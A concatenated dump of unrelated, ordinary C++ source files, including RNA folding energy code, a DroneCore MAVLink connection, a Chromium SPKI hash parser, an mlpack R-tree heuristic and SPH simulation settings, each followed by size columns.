for (std::set<int>::const_iterator p1=basePairCodes.begin(); p1!=basePairCodes.end(); p1++) {
for (size_t i=0; i<alphabet.size(); i++) {
for (size_t j=0; j<alphabet.size(); j++) {
minDangleE = std::min( minDangleE
, (E_type)E_Stem( *p1
, alphabet.at(i)
, alphabet.at(j)
, 1 // is an external loop
, foldParams
)
// correct from dcal/mol to kcal/mol
/ (E_type)100.0
);
}
}
}
return minDangleE;
}
////////////////////////////////////////////////////////////////////////////
void
InteractionEnergyVrna::
computeES( const Accessibility & acc, InteractionEnergyVrna::EsMatrix & esToFill )
{
// prepare container
esToFill.resize( acc.getSequence().size(), acc.getSequence().size() );
// sequence length
const int seqLength = (int)acc.getSequence().size();
const E_type RT = getRT();
// VRNA compatible data structures
char * sequence = (char *) vrna_alloc(sizeof(char) * (seqLength + 1));
char * structureConstraint = (char *) vrna_alloc(sizeof(char) * (seqLength + 1));
for (int i=0; i<seqLength; i++) {
// copy sequence
sequence[i] = acc.getSequence().asString().at(i);
// copy accessibility constraint if present
structureConstraint[i] = acc.getAccConstraint().getVrnaDotBracket(i);
}
sequence[seqLength] = structureConstraint[seqLength] = '\0';
// prepare folding data
vrna_md_t curModel;
vrna_md_copy( &curModel, &foldModel );
// set maximal base pair span
curModel.max_bp_span = acc.getAccConstraint().getMaxBpSpan();
if (curModel.max_bp_span >= (int)acc.getSequence().size()) {
curModel.max_bp_span = -1;
}
// TODO check if VRNA_OPTION_WINDOW reasonable to speedup
vrna_fold_compound_t * foldData = vrna_fold_compound( sequence, &foldModel, VRNA_OPTION_PF);
// Adding hard constraints from pseudo dot-bracket
unsigned int constraint_options = VRNA_CONSTRAINT_DB_DEFAULT;
// enforce constraints
constraint_options |= VRNA_CONSTRAINT_DB_ENFORCE_BP;
vrna_constraints_add( foldData, (const char *)structureConstraint, constraint_options);
// compute correct partition function scaling via mfe
FLT_OR_DBL min_free_energy = vrna_mfe( foldData, NULL );
vrna_exp_params_rescale( foldData, &min_free_energy);
// compute partition functions
const float ensembleE = vrna_pf( foldData, NULL );
if (foldData->exp_matrices == NULL) {
throw std::runtime_error("AccessibilityVrna::computeES() : partition functions after computation not available");
}
if (foldData->exp_matrices->qm == NULL) {
throw std::runtime_error("AccessibilityVrna::computeES() : partition functions Qm after computation not available");
}
// copy ensemble energies of multi loop parts = ES values
FLT_OR_DBL qm_val = 0.0;
const int minLoopSubseqLength = foldModel.min_loop_size + 2;
for (int i=0; i<seqLength; i++) {
for (int j=i; j<seqLength; j++) {
// check if too short to enable a base pair
if (j-i+1 < minLoopSubseqLength) {
// make unfavorable
esToFill(i,j) = E_INF;
} else {
// get Qm value
// indexing via iindx starts with 1 instead of 0
qm_val = foldData->exp_matrices->qm[foldData->iindx[i+1]-j+1];
if ( E_equal(qm_val, 0.) ) {
esToFill(i,j) = E_INF;
} else {
// ES energy = -RT*log( Qm )
esToFill(i,j) = (E_type)( - RT*( std::log(qm_val)
+((FLT_OR_DBL)(j-i+1))*std::log(foldData->exp_params->pf_scale)));
}
}
}
}
// garbage collection
vrna_fold_compound_free(foldData);
free(structureConstraint);
free(sequence);
}
////////////////////////////////////////////////////////////////////////////
} // namespace
| 7,155 | 2,808 |
#include "Calculadora.h"
Calculadora::Calculadora(int n1, int n2) {
num1 = n1;
num2 = n2;
}
int Calculadora::somar() {
return num1 + num2;
}
int Calculadora::subtrair() {
return num1 - num2;
} | 199 | 87 |
class Solution {
public:
int arrayNesting(vector<int>& nums) {
int res = 0;
for (int i = 0; i < nums.size(); i ++ ) {
if (nums[i] != -1) {
int j = i, s = 0; // 对没遍历过的点遍历一下环
while (nums[j] != -1) {
s ++ ;
int next = nums[j];
nums[j] = -1;
j = next;
}
res = max(res, s);
}
}
return res;
}
}; | 497 | 181 |
#include "connection.h"
#include "dronecore_impl.h"
#include "mavlink_channels.h"
#include "global_include.h"
namespace dronecore {
Connection::Connection(DroneCoreImpl &parent) :
_parent(parent),
_mavlink_receiver() {}
Connection::~Connection()
{
// Just in case a specific connection didn't call it already.
stop_mavlink_receiver();
}
bool Connection::start_mavlink_receiver()
{
uint8_t channel;
if (!MAVLinkChannels::Instance().checkout_free_channel(channel)) {
return false;
}
_mavlink_receiver.reset(new MAVLinkReceiver(channel));
return true;
}
void Connection::stop_mavlink_receiver()
{
if (_mavlink_receiver) {
uint8_t used_channel = _mavlink_receiver->get_channel();
// Destroy receiver before giving the channel back.
_mavlink_receiver.reset();
MAVLinkChannels::Instance().checkin_used_channel(used_channel);
}
}
void Connection::receive_message(const mavlink_message_t &message)
{
_parent.receive_message(message);
}
} // namespace dronecore
| 1,050 | 349 |
/*
* Copyright 2019 Xilinx Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Filename: rcan.hpp
*
* Description:
* This network is used to detecting featuare from a input image.
*
* Please refer to document "Xilinx_AI_SDK_User_Guide.pdf" for more details.
* details of these APIs.
*/
#pragma once
#include <vitis/ai/nnpp/rcan.hpp>
#include "vitis/ai/configurable_dpu_task.hpp"
namespace vitis {
namespace ai {
/**
* @brief Base class for detecting rcan from an image (cv::Mat).
*
* Input is an image (cv::Mat).
*
* Output is the enlarged image.
*
* @note The input image size is 640x360
*
* Sample code:
* @code
if (argc < 2) {
cerr << "usage: " << argv[0] << " modelname image_file_url " << endl;
abort();
}
Mat input_img = imread(argv[2]);
if (input_img.empty()) {
cerr << "can't load image! " << argv[2] << endl;
return -1;
}
auto det = vitis::ai::Rcan::create(argv[1]);
Mat ret_img = det->run(input_img).feat;
imwrite("sample_rcan_result.png", ret_img);
@endcode
*
* Display of the model results:
* @image latex images/sample_rcan_result.png "result image" width=300px
*
*/
class Rcan : public ConfigurableDpuTaskBase {
public:
/**
* @brief Factory function to get an instance of derived classes of class
* Rcan.
*
*@param model_name Model name
* @param need_preprocess Normalize with mean/scale or not, default
* value is true.
* @return An instance of Rcan class.
*
*/
static std::unique_ptr<Rcan> create(const std::string& model_name,
bool need_preprocess = true);
/**
* @cond NOCOMMENTS
*/
public:
explicit Rcan(const std::string& model_name, bool need_preprocess);
Rcan(const Rcan&) = delete;
virtual ~Rcan();
/**
* @endcond
*/
public:
/**
* @brief Function to get running result of the RCAN neuron network.
*
* @param image Input data of input image (cv::Mat).
*
* @return RcanResult.
*
*/
virtual RcanResult run(const cv::Mat& image) = 0;
/**
* @brief Function to get running result of the RCAN neuron network in batch
* mode.
*
* @param images Input data of input images (vector<cv::Mat>).
*
* @return vector of RcanResult.
*
*/
virtual std::vector<RcanResult> run(const std::vector<cv::Mat>& images) = 0;
/**
* @brief Function to get running results of the rcan neuron network in
* batch mode , used to receive user's xrt_bo to support zero copy.
*
* @param input_bos The vector of vart::xrt_bo_t.
*
* @return The vector of RcanResult.
*
*/
virtual std::vector<RcanResult> run(
const std::vector<vart::xrt_bo_t>& input_bos) = 0;
};
} // namespace ai
} // namespace vitis
| 3,255 | 1,105 |
#include "core/connection.h"
#include "user_profile_request_handler.h"
#include "index_service.h"
#include "query_service.h"
#include "userprofile.pb.h"
void UserProfileRequestHandler::DoGet(RedisRequest* request, Connection* conn) {
auto& uid = request->arguments(0);
auto& qs = QueryService::Instance();
RecoUserList candidates;
auto pos = uid.find(':');
if (pos != std::string::npos) {
qs.NearUserRecommend(uid.substr(pos+1), &candidates);
} else {
qs.NearUserRecommend(uid, &candidates);
}
char* b = (char*)malloc(candidates.ByteSize() + 16);
char* p = b + snprintf(b, candidates.ByteSize() + 16, "$%d\r\n", candidates.ByteSize());
candidates.SerializeToArray(p, candidates.ByteSize());
p += candidates.ByteSize();
*p ++ = '\r';
*p ++ = '\n';
conn->AsyncWrite(b, p - b);
}
void UserProfileRequestHandler::DoSet(RedisRequest* request, Connection* conn) {
auto& is = IndexService::Instance();
is.IndexRawString(request->arguments(1));
conn->AsyncWrite("$2\r\nOK\r\n", 8);
}
RequestHandler* RequestHandler::NewRequestHandler() {
return new RedisRequestHandler();
}
| 1,115 | 404 |
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "net/tools/transport_security_state_generator/spki_hash.h"
#include <string>
#include "base/base64.h"
#include "base/logging.h"
#include "base/strings/string_util.h"
#include "third_party/boringssl/src/include/openssl/sha.h"
namespace net {
namespace transport_security_state {
SPKIHash::SPKIHash() {}
SPKIHash::~SPKIHash() {}
bool SPKIHash::FromString(base::StringPiece hash_string) {
base::StringPiece base64_string;
if (!base::StartsWith(hash_string, "sha256/",
base::CompareCase::INSENSITIVE_ASCII)) {
return false;
}
base64_string = hash_string.substr(7);
std::string decoded;
if (!base::Base64Decode(base64_string, &decoded)) {
return false;
}
if (decoded.size() != size()) {
return false;
}
memcpy(data_, decoded.data(), decoded.size());
return true;
}
void SPKIHash::CalculateFromBytes(const uint8_t* input, size_t input_length) {
SHA256(input, input_length, data_);
}
} // namespace transport_security_state
} // namespace net
| 1,187 | 439 |
#include <iostream>
#include <autodiff/forward/real.hpp>
#include <autodiff/forward/real/eigen.hpp>
#include <Eigen/Dense>
#include <Eigen/Core>
#include "rotation.hpp"
// using namespace autodiff;
using namespace Eigen;
class Object {
public:
Object();
virtual autodiff::real U(const autodiff::ArrayXreal& pos);
VectorXd DLT1(const autodiff::ArrayXreal& q1, const autodiff::ArrayXreal& q2, double h);
private:
protected:
double m = 1; // mass (kg)
double g = 1; // gravity accel (m/s^2)
MatrixXd J; // (3x3) Inertia Tensor (kg*m^2)
};
| 606 | 227 |
#include <tokentransactionrecord.h>
#include <base58.h>
#include <consensus/consensus.h>
#include <validation.h>
#include <timedata.h>
#include <wallet/wallet.h>
#include <stdint.h>
/*
* Decompose CWallet transaction to model transaction records.
*/
QList<TokenTransactionRecord> TokenTransactionRecord::decomposeTransaction(const CWallet *wallet, const CTokenTx &wtx)
{
// Initialize variables
QList<TokenTransactionRecord> parts;
uint256 credit;
uint256 debit;
std::string tokenSymbol;
uint8_t decimals = 18;
if(wallet && !wtx.nValue.IsNull() && wallet->GetTokenTxDetails(wtx, credit, debit, tokenSymbol, decimals))
{
// Get token transaction data
TokenTransactionRecord rec;
rec.time = wtx.nCreateTime;
rec.credit = dev::u2s(uintTou256(credit));
rec.debit = -dev::u2s(uintTou256(debit));
rec.hash = wtx.GetHash();
rec.txid = wtx.transactionHash;
rec.tokenSymbol = tokenSymbol;
rec.decimals = decimals;
rec.label = wtx.strLabel;
dev::s256 net = rec.credit + rec.debit;
// Determine type
if(net == 0)
{
rec.type = SendToSelf;
}
else if(net > 0)
{
rec.type = RecvWithAddress;
}
else
{
rec.type = SendToAddress;
}
if(net)
{
rec.status.countsForBalance = true;
}
// Set address
switch (rec.type) {
case SendToSelf:
case SendToAddress:
case SendToOther:
case RecvWithAddress:
case RecvFromOther:
rec.address = wtx.strReceiverAddress;
default:
break;
}
// Append record
if(rec.type != Other)
parts.append(rec);
}
return parts;
}
void TokenTransactionRecord::updateStatus(const CWallet *wallet, const CTokenTx &wtx)
{
AssertLockHeld(cs_main);
// Determine transaction status
status.cur_num_blocks = chainActive.Height();
if(wtx.blockNumber == -1)
{
status.depth = 0;
}
else
{
status.depth = status.cur_num_blocks - wtx.blockNumber + 1;
}
auto mi = wallet->mapWallet.find(wtx.transactionHash);
if (mi != wallet->mapWallet.end() && (GetAdjustedTime() - mi->second.nTimeReceived > 2 * 60) && mi->second.GetRequestCount() == 0)
{
status.status = TokenTransactionStatus::Offline;
}
else if (status.depth == 0)
{
status.status = TokenTransactionStatus::Unconfirmed;
}
else if (status.depth < RecommendedNumConfirmations)
{
status.status = TokenTransactionStatus::Confirming;
}
else
{
status.status = TokenTransactionStatus::Confirmed;
}
}
bool TokenTransactionRecord::statusUpdateNeeded()
{
AssertLockHeld(cs_main);
return status.cur_num_blocks != chainActive.Height();
}
QString TokenTransactionRecord::getTxID() const
{
return QString::fromStdString(txid.ToString());
}
| 3,027 | 995 |
/**
* @file r_tree_descent_heuristic.hpp
* @author Andrew Wells
*
* Definition of RTreeDescentHeuristic, a class that chooses the best child of a
* node in an R tree when inserting a new point.
*
* mlpack is free software; you may redistribute it and/or modify it under the
* terms of the 3-clause BSD license. You should have received a copy of the
* 3-clause BSD license along with mlpack. If not, see
* http://www.opensource.org/licenses/BSD-3-Clause for more information.
*/
#ifndef MLPACK_CORE_TREE_RECTANGLE_TREE_R_TREE_DESCENT_HEURISTIC_HPP
#define MLPACK_CORE_TREE_RECTANGLE_TREE_R_TREE_DESCENT_HEURISTIC_HPP
#include <mlpack/prereqs.hpp>
namespace mlpack {
namespace tree {
/**
* When descending a RectangleTree to insert a point, we need to have a way to
* choose a child node when the point isn't enclosed by any of them. This
* heuristic is used to do so.
*/
class RTreeDescentHeuristic
{
public:
/**
* Evaluate the node using a heuristic. The heuristic guarantees two things:
*
* 1. If point is contained in (or on) the bound, the value returned is zero.
* 2. If the point is not contained in (or on) the bound, the value returned
* is greater than zero.
*
* @param node The node that is being evaluated.
* @param point The index of the point that is being inserted.
*/
template<typename TreeType>
static size_t ChooseDescentNode(const TreeType* node, const size_t point);
/**
* Evaluate the node using a heuristic. The heuristic guarantees two things:
*
* 1. If point is contained in (or on) the bound, the value returned is zero.
* 2. If the point is not contained in (or on) the bound, the value returned
* is greater than zero.
*
* @param node The node that is being evaluated.
* @param insertedNode The node that is being inserted.
*/
template<typename TreeType>
static size_t ChooseDescentNode(const TreeType* node,
const TreeType* insertedNode);
};
} // namespace tree
} // namespace mlpack
// Include implementation.
#include "r_tree_descent_heuristic_impl.hpp"
#endif
| 2,124 | 685 |
#include "run/jobs/SimulationJobs.h"
#include "gravity/AggregateSolver.h"
#include "io/LogWriter.h"
#include "io/Logger.h"
#include "io/Output.h"
#include "run/IRun.h"
#include "run/SpecialEntries.h"
#include "sph/solvers/StabilizationSolver.h"
NAMESPACE_SPH_BEGIN
/// \todo generailize, add generic triggers to UI
class EnergyLogWriter : public ILogWriter {
public:
using ILogWriter::ILogWriter;
private:
virtual void write(const Storage& storage, const Statistics& stats) override {
const Float t = stats.get<Float>(StatisticsId::RUN_TIME);
const Float e = TotalEnergy().evaluate(storage);
logger->write(t, " ", e);
}
};
static std::string getIdentifier(const std::string& name) {
std::string escaped = replaceAll(name, " ", "-");
return lowercase(escaped);
}
// ----------------------------------------------------------------------------------------------------------
// SphJob
// ----------------------------------------------------------------------------------------------------------
static RunSettings overrideSettings(const RunSettings& settings,
const RunSettings& overrides,
const bool isResumed) {
RunSettings actual = settings;
actual.addEntries(overrides);
if (!isResumed) {
// reset the (potentially) overriden values back to original
actual.set(RunSettingsId::RUN_START_TIME, settings.get<Float>(RunSettingsId::RUN_START_TIME));
actual.set(RunSettingsId::TIMESTEPPING_INITIAL_TIMESTEP,
settings.get<Float>(RunSettingsId::TIMESTEPPING_INITIAL_TIMESTEP));
actual.set(
RunSettingsId::RUN_OUTPUT_FIRST_INDEX, settings.get<int>(RunSettingsId::RUN_OUTPUT_FIRST_INDEX));
}
return actual;
}
static void addTimeSteppingCategory(VirtualSettings& connector, RunSettings& settings, bool& resumeRun) {
auto courantEnabler = [&settings] {
Flags<TimeStepCriterionEnum> criteria =
settings.getFlags<TimeStepCriterionEnum>(RunSettingsId::TIMESTEPPING_CRITERION);
return criteria.has(TimeStepCriterionEnum::COURANT);
};
auto derivativeEnabler = [&settings] {
Flags<TimeStepCriterionEnum> criteria =
settings.getFlags<TimeStepCriterionEnum>(RunSettingsId::TIMESTEPPING_CRITERION);
return criteria.hasAny(TimeStepCriterionEnum::DERIVATIVES, TimeStepCriterionEnum::ACCELERATION);
};
auto divergenceEnabler = [&settings] {
Flags<TimeStepCriterionEnum> criteria =
settings.getFlags<TimeStepCriterionEnum>(RunSettingsId::TIMESTEPPING_CRITERION);
return criteria.has(TimeStepCriterionEnum::DIVERGENCE);
};
VirtualSettings::Category& rangeCat = connector.addCategory("Integration");
rangeCat.connect<Float>("Duration [s]", settings, RunSettingsId::RUN_END_TIME);
rangeCat.connect("Use start time of input", "is_resumed", resumeRun);
rangeCat.connect<Float>("Maximal timestep [s]", settings, RunSettingsId::TIMESTEPPING_MAX_TIMESTEP);
rangeCat.connect<Float>("Initial timestep [s]", settings, RunSettingsId::TIMESTEPPING_INITIAL_TIMESTEP);
rangeCat.connect<EnumWrapper>("Integrator", settings, RunSettingsId::TIMESTEPPING_INTEGRATOR);
rangeCat.connect<Flags<TimeStepCriterionEnum>>(
"Time step criteria", settings, RunSettingsId::TIMESTEPPING_CRITERION);
rangeCat.connect<Float>("Courant number", settings, RunSettingsId::TIMESTEPPING_COURANT_NUMBER)
.setEnabler(courantEnabler);
rangeCat.connect<Float>("Derivative factor", settings, RunSettingsId::TIMESTEPPING_DERIVATIVE_FACTOR)
.setEnabler(derivativeEnabler);
rangeCat.connect<Float>("Divergence factor", settings, RunSettingsId::TIMESTEPPING_DIVERGENCE_FACTOR)
.setEnabler(divergenceEnabler);
rangeCat.connect<Float>("Max step change", settings, RunSettingsId::TIMESTEPPING_MAX_INCREASE);
}
static void addGravityCategory(VirtualSettings& connector, RunSettings& settings) {
VirtualSettings::Category& gravityCat = connector.addCategory("Gravity");
gravityCat.connect<EnumWrapper>("Gravity solver", settings, RunSettingsId::GRAVITY_SOLVER);
gravityCat.connect<Float>("Opening angle", settings, RunSettingsId::GRAVITY_OPENING_ANGLE)
.setEnabler([&settings] {
return settings.get<GravityEnum>(RunSettingsId::GRAVITY_SOLVER) == GravityEnum::BARNES_HUT;
});
gravityCat.connect<int>("Multipole order", settings, RunSettingsId::GRAVITY_MULTIPOLE_ORDER);
gravityCat.connect<EnumWrapper>("Softening kernel", settings, RunSettingsId::GRAVITY_KERNEL);
gravityCat.connect<Float>(
"Recomputation period [s]", settings, RunSettingsId::GRAVITY_RECOMPUTATION_PERIOD);
}
static void addOutputCategory(VirtualSettings& connector, RunSettings& settings, const SharedToken& owner) {
auto enabler = [&settings] {
const IoEnum type = settings.get<IoEnum>(RunSettingsId::RUN_OUTPUT_TYPE);
return type != IoEnum::NONE;
};
VirtualSettings::Category& outputCat = connector.addCategory("Output");
outputCat.connect<EnumWrapper>("Format", settings, RunSettingsId::RUN_OUTPUT_TYPE)
.setValidator([](const IVirtualEntry::Value& value) {
const IoEnum type = IoEnum(value.get<EnumWrapper>());
return type == IoEnum::NONE || getIoCapabilities(type).has(IoCapability::OUTPUT);
})
.addAccessor(owner,
[&settings](const IVirtualEntry::Value& value) {
const IoEnum type = IoEnum(value.get<EnumWrapper>());
Path name = Path(settings.get<std::string>(RunSettingsId::RUN_OUTPUT_NAME));
if (Optional<std::string> extension = getIoExtension(type)) {
name.replaceExtension(extension.value());
}
settings.set(RunSettingsId::RUN_OUTPUT_NAME, name.native());
})
.setSideEffect(); // needs to update the 'File mask' entry
outputCat.connect<Path>("Directory", settings, RunSettingsId::RUN_OUTPUT_PATH)
.setEnabler(enabler)
.setPathType(IVirtualEntry::PathType::DIRECTORY);
outputCat.connect<std::string>("File mask", settings, RunSettingsId::RUN_OUTPUT_NAME).setEnabler(enabler);
outputCat.connect<Flags<OutputQuantityFlag>>("Quantities", settings, RunSettingsId::RUN_OUTPUT_QUANTITIES)
.setEnabler([&settings] {
const IoEnum type = settings.get<IoEnum>(RunSettingsId::RUN_OUTPUT_TYPE);
return type == IoEnum::TEXT_FILE || type == IoEnum::VTK_FILE;
});
outputCat.connect<EnumWrapper>("Output spacing", settings, RunSettingsId::RUN_OUTPUT_SPACING)
.setEnabler(enabler);
outputCat.connect<Float>("Output interval [s]", settings, RunSettingsId::RUN_OUTPUT_INTERVAL)
.setEnabler([&] {
const IoEnum type = settings.get<IoEnum>(RunSettingsId::RUN_OUTPUT_TYPE);
const OutputSpacing spacing = settings.get<OutputSpacing>(RunSettingsId::RUN_OUTPUT_SPACING);
return type != IoEnum::NONE && spacing != OutputSpacing::CUSTOM;
});
outputCat.connect<std::string>("Custom times [s]", settings, RunSettingsId::RUN_OUTPUT_CUSTOM_TIMES)
.setEnabler([&] {
const IoEnum type = settings.get<IoEnum>(RunSettingsId::RUN_OUTPUT_TYPE);
const OutputSpacing spacing = settings.get<OutputSpacing>(RunSettingsId::RUN_OUTPUT_SPACING);
return type != IoEnum::NONE && spacing == OutputSpacing::CUSTOM;
});
}
static void addLoggerCategory(VirtualSettings& connector, RunSettings& settings) {
VirtualSettings::Category& loggerCat = connector.addCategory("Logging");
loggerCat.connect<EnumWrapper>("Logger", settings, RunSettingsId::RUN_LOGGER);
loggerCat.connect<Path>("Log file", settings, RunSettingsId::RUN_LOGGER_FILE)
.setPathType(IVirtualEntry::PathType::OUTPUT_FILE)
.setEnabler(
[&settings] { return settings.get<LoggerEnum>(RunSettingsId::RUN_LOGGER) == LoggerEnum::FILE; });
loggerCat.connect<int>("Log verbosity", settings, RunSettingsId::RUN_LOGGER_VERBOSITY);
}
class SphRun : public IRun {
protected:
SharedPtr<IDomain> domain;
public:
explicit SphRun(const RunSettings& run, SharedPtr<IDomain> domain)
: domain(domain) {
settings = run;
scheduler = Factory::getScheduler(settings);
}
virtual void setUp(SharedPtr<Storage> storage) override {
AutoPtr<IBoundaryCondition> bc = Factory::getBoundaryConditions(settings, domain);
solver = Factory::getSolver(*scheduler, settings, std::move(bc));
for (Size matId = 0; matId < storage->getMaterialCnt(); ++matId) {
solver->create(*storage, storage->getMaterial(matId));
}
}
virtual void tearDown(const Storage& storage, const Statistics& stats) override {
// last dump after simulation ends
output->dump(storage, stats);
}
};
SphJob::SphJob(const std::string& name, const RunSettings& overrides)
: IRunJob(name) {
settings = getDefaultSettings(name);
settings.addEntries(overrides);
}
RunSettings SphJob::getDefaultSettings(const std::string& name) {
const Size dumpCnt = 10;
const Interval timeRange(0, 10);
RunSettings settings;
settings.set(RunSettingsId::TIMESTEPPING_INTEGRATOR, TimesteppingEnum::PREDICTOR_CORRECTOR)
.set(RunSettingsId::TIMESTEPPING_INITIAL_TIMESTEP, 0.01_f)
.set(RunSettingsId::TIMESTEPPING_MAX_TIMESTEP, 10._f)
.set(RunSettingsId::TIMESTEPPING_COURANT_NUMBER, 0.2_f)
.set(RunSettingsId::RUN_START_TIME, timeRange.lower())
.set(RunSettingsId::RUN_END_TIME, timeRange.upper())
.set(RunSettingsId::RUN_NAME, name)
.set(RunSettingsId::RUN_OUTPUT_INTERVAL, timeRange.size() / dumpCnt)
.set(RunSettingsId::RUN_OUTPUT_TYPE, IoEnum::NONE)
.set(RunSettingsId::RUN_OUTPUT_NAME, getIdentifier(name) + "_%d.ssf")
.set(RunSettingsId::RUN_VERBOSE_NAME, getIdentifier(name) + ".log")
.set(RunSettingsId::SPH_SOLVER_TYPE, SolverEnum::ASYMMETRIC_SOLVER)
.set(RunSettingsId::SPH_SOLVER_FORCES,
ForceEnum::PRESSURE | ForceEnum::SOLID_STRESS | ForceEnum::SELF_GRAVITY)
.set(RunSettingsId::SPH_DISCRETIZATION, DiscretizationEnum::STANDARD)
.set(RunSettingsId::SPH_FINDER, FinderEnum::KD_TREE)
.set(RunSettingsId::SPH_AV_TYPE, ArtificialViscosityEnum::STANDARD)
.set(RunSettingsId::SPH_AV_ALPHA, 1.5_f)
.set(RunSettingsId::SPH_AV_BETA, 3._f)
.set(RunSettingsId::SPH_KERNEL, KernelEnum::CUBIC_SPLINE)
.set(RunSettingsId::GRAVITY_SOLVER, GravityEnum::BARNES_HUT)
.set(RunSettingsId::GRAVITY_KERNEL, GravityKernelEnum::SPH_KERNEL)
.set(RunSettingsId::GRAVITY_OPENING_ANGLE, 0.8_f)
.set(RunSettingsId::GRAVITY_RECOMPUTATION_PERIOD, 5._f)
.set(RunSettingsId::FINDER_LEAF_SIZE, 20)
.set(RunSettingsId::SPH_STABILIZATION_DAMPING, 0.1_f)
.set(RunSettingsId::RUN_THREAD_GRANULARITY, 1000)
.set(RunSettingsId::SPH_ADAPTIVE_SMOOTHING_LENGTH, EMPTY_FLAGS)
.set(RunSettingsId::SPH_ASYMMETRIC_COMPUTE_RADII_HASH_MAP, false)
.set(RunSettingsId::SPH_STRAIN_RATE_CORRECTION_TENSOR, true)
.set(RunSettingsId::RUN_DIAGNOSTICS_INTERVAL, 1._f);
return settings;
}
VirtualSettings SphJob::getSettings() {
VirtualSettings connector;
addGenericCategory(connector, instName);
addTimeSteppingCategory(connector, settings, isResumed);
auto stressEnabler = [this] {
return settings.getFlags<ForceEnum>(RunSettingsId::SPH_SOLVER_FORCES).has(ForceEnum::SOLID_STRESS);
};
auto avEnabler = [this] {
return settings.get<ArtificialViscosityEnum>(RunSettingsId::SPH_AV_TYPE) !=
ArtificialViscosityEnum::NONE;
};
auto asEnabler = [this] { return settings.get<bool>(RunSettingsId::SPH_AV_USE_STRESS); };
// auto acEnabler = [this] { return settings.get<bool>(RunSettingsId::SPH_USE_AC); };
auto deltaSphEnabler = [this] { return settings.get<bool>(RunSettingsId::SPH_USE_DELTASPH); };
auto enforceEnabler = [this] {
return settings.getFlags<SmoothingLengthEnum>(RunSettingsId::SPH_ADAPTIVE_SMOOTHING_LENGTH)
.has(SmoothingLengthEnum::SOUND_SPEED_ENFORCING);
};
VirtualSettings::Category& solverCat = connector.addCategory("SPH solver");
solverCat.connect<Flags<ForceEnum>>("Forces", settings, RunSettingsId::SPH_SOLVER_FORCES);
solverCat.connect<Vector>("Constant acceleration", settings, RunSettingsId::FRAME_CONSTANT_ACCELERATION);
solverCat.connect<Float>("Tides mass [M_earth]", settings, RunSettingsId::FRAME_TIDES_MASS)
.setUnits(Constants::M_earth);
solverCat.connect<Vector>("Tides position [R_earth]", settings, RunSettingsId::FRAME_TIDES_POSITION)
.setUnits(Constants::R_earth);
solverCat.connect<EnumWrapper>("Solver type", settings, RunSettingsId::SPH_SOLVER_TYPE);
solverCat.connect<EnumWrapper>("SPH discretization", settings, RunSettingsId::SPH_DISCRETIZATION);
solverCat.connect<Flags<SmoothingLengthEnum>>(
"Adaptive smoothing length", settings, RunSettingsId::SPH_ADAPTIVE_SMOOTHING_LENGTH);
solverCat.connect<Float>("Minimal smoothing length", settings, RunSettingsId::SPH_SMOOTHING_LENGTH_MIN)
.setEnabler([this] {
return settings.getFlags<SmoothingLengthEnum>(RunSettingsId::SPH_ADAPTIVE_SMOOTHING_LENGTH) !=
EMPTY_FLAGS;
});
solverCat
.connect<Float>("Neighbor count enforcing strength", settings, RunSettingsId::SPH_NEIGHBOR_ENFORCING)
.setEnabler(enforceEnabler);
solverCat.connect<Interval>("Neighbor range", settings, RunSettingsId::SPH_NEIGHBOR_RANGE)
.setEnabler(enforceEnabler);
solverCat
.connect<bool>("Use radii hash map", settings, RunSettingsId::SPH_ASYMMETRIC_COMPUTE_RADII_HASH_MAP)
.setEnabler([this] {
return settings.get<SolverEnum>(RunSettingsId::SPH_SOLVER_TYPE) == SolverEnum::ASYMMETRIC_SOLVER;
});
solverCat
.connect<bool>("Apply correction tensor", settings, RunSettingsId::SPH_STRAIN_RATE_CORRECTION_TENSOR)
.setEnabler(stressEnabler);
solverCat.connect<bool>("Sum only undamaged particles", settings, RunSettingsId::SPH_SUM_ONLY_UNDAMAGED);
solverCat.connect<EnumWrapper>("Continuity mode", settings, RunSettingsId::SPH_CONTINUITY_MODE);
solverCat.connect<EnumWrapper>("Neighbor finder", settings, RunSettingsId::SPH_FINDER);
solverCat.connect<EnumWrapper>("Boundary condition", settings, RunSettingsId::DOMAIN_BOUNDARY);
VirtualSettings::Category& avCat = connector.addCategory("Artificial viscosity");
avCat.connect<EnumWrapper>("Artificial viscosity type", settings, RunSettingsId::SPH_AV_TYPE);
avCat.connect<bool>("Apply Balsara switch", settings, RunSettingsId::SPH_AV_USE_BALSARA)
.setEnabler(avEnabler);
avCat.connect<Float>("Artificial viscosity alpha", settings, RunSettingsId::SPH_AV_ALPHA)
.setEnabler(avEnabler);
avCat.connect<Float>("Artificial viscosity beta", settings, RunSettingsId::SPH_AV_BETA)
.setEnabler(avEnabler);
avCat.connect<bool>("Apply artificial stress", settings, RunSettingsId::SPH_AV_USE_STRESS);
avCat.connect<Float>("Artificial stress factor", settings, RunSettingsId::SPH_AV_STRESS_FACTOR)
.setEnabler(asEnabler);
avCat.connect<Float>("Artificial stress exponent", settings, RunSettingsId::SPH_AV_STRESS_EXPONENT)
.setEnabler(asEnabler);
avCat.connect<bool>("Apply artificial conductivity", settings, RunSettingsId::SPH_USE_AC);
avCat.connect<EnumWrapper>("Signal speed", settings, RunSettingsId::SPH_AC_SIGNAL_SPEED)
.setEnabler([this] { return settings.get<bool>(RunSettingsId::SPH_USE_AC); });
VirtualSettings::Category& modCat = connector.addCategory("SPH modifications");
modCat.connect<bool>("Enable XPSH", settings, RunSettingsId::SPH_USE_XSPH);
modCat.connect<Float>("XSPH epsilon", settings, RunSettingsId::SPH_XSPH_EPSILON).setEnabler([this] {
return settings.get<bool>(RunSettingsId::SPH_USE_XSPH);
});
modCat.connect<bool>("Enable delta-SPH", settings, RunSettingsId::SPH_USE_DELTASPH);
modCat.connect<Float>("delta-SPH alpha", settings, RunSettingsId::SPH_VELOCITY_DIFFUSION_ALPHA)
.setEnabler(deltaSphEnabler);
modCat.connect<Float>("delta-SPH delta", settings, RunSettingsId::SPH_DENSITY_DIFFUSION_DELTA)
.setEnabler(deltaSphEnabler);
auto scriptEnabler = [this] { return settings.get<bool>(RunSettingsId::SPH_SCRIPT_ENABLE); };
VirtualSettings::Category& scriptCat = connector.addCategory("Scripts");
